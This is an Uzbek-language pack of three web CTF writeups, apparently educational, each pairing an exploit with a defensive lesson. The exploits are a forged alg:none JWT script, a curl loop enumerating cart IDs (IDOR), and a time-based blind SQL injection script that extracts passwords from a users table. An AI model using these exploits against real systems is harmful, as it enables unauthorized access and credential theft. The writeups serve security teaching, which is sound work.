

CTF Writeups Pack - Web Challenges

SentryScan · Ta'limiy writeup to'plami. Har bir yechim: challenge -> tahlil -> exploit -> flag -> saboq.

Writeup 1: "Broken Token" (JWT alg=none)

Kategoriya: Web / Auth · Daraja: Easy

Challenge

Login sahifasi JWT token beradi. Admin panel /admin faqat role: admin uchun.

Tahlil

Tokenni base64 dekod qilamiz:

```
header: {"alg": "HS256", "typ": "JWT"}
payload: {"user": "guest", "role": "user"}
```

Server alg maydonini tekshirmaydi - bu alg:none hujumiga ochiq.

Exploit

```
import base64, json
def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=')
h = b64({"alg": "none", "typ": "JWT"})
p = b64({"user": "guest", "role": "admin"})
token = h + b"." + p + b"."          # imzo bo'sh
print(token.decode())
```

Cookie'ni shu token bilan almashtiramiz -> /admin ochiladi.

Saboq

Server tomonda alg ni allow-list bilan cheklang (HS256 yoki RS256), imzoni majburiy tekshiring. Hech qachon mijoz bergan alg ga ishonmang.

Writeup 2: "Hidden Cart" (IDOR)

Kategoriya: Web / Access Control · Daraja: Easy-Medium

Challenge

Foydalanuvchi savatchasi: GET /api/cart/1042. Flag boshqa foydalanuvchi savatida.

Tahlil

1042 - bashorat qilinadigan ketma-ket ID. Egalik tekshiruvi yo'q.

Exploit

```
for id in $(seq 1000 1100); do
  curl -s -H "Authorization: Bearer $TOKEN" \
    "https://target/api/cart/$id" | grep -o "flag{[^}]*}" && echo " -> $id"
done
```

Saboq

Har bir obyektga kirishda ownership check qiling: token egasining ID'si so'ralayotgan resurs egasiga tengmi? Ketma-ket ID o'rniga UUID ishlatilg.

Writeup 3: "Blind Corner" (Blind SQLi, time-based)

Kategoriya: Web / Injection · Daraja: Medium

Challenge

Qidiruv: /search?q=apple. Xato ko'rinmaydi, natija ham o'zgarmaydi.

Tahlil

Klassik xato yo'q -> blind. Vaqt asosida tekshiramiz:

```
q=apple' AND SLEEP(5)-- - # 5s kechiksa -> zaif
```

Exploit (parolni belgilab-belgilab olish)

```
import requests, string, time
URL="https://target/search"; found=""
for pos in range(1,40):
    for c in string.printable:
        payload=f"apple' AND IF(SUBSTRING((SELECT password FROM users LIMIT
1),{pos},1)='{c}',SLEEP(3),0)-- -"
        t=time.time(); requests.get(URL, params={"q":payload})
        if time.time()-t > 2.8:
            found+=c; print(found); break
```

Saboq

Parametrlangan so'rovlar (prepared statements) yagona to'g'ri yechim. WAF - qo'shimcha qatlam, asosiy himoya emas.

(c) SentryScan. Ta'lim maqsadida. Texnikalarni faqat ruxsat berilgan muhitda qo'llang.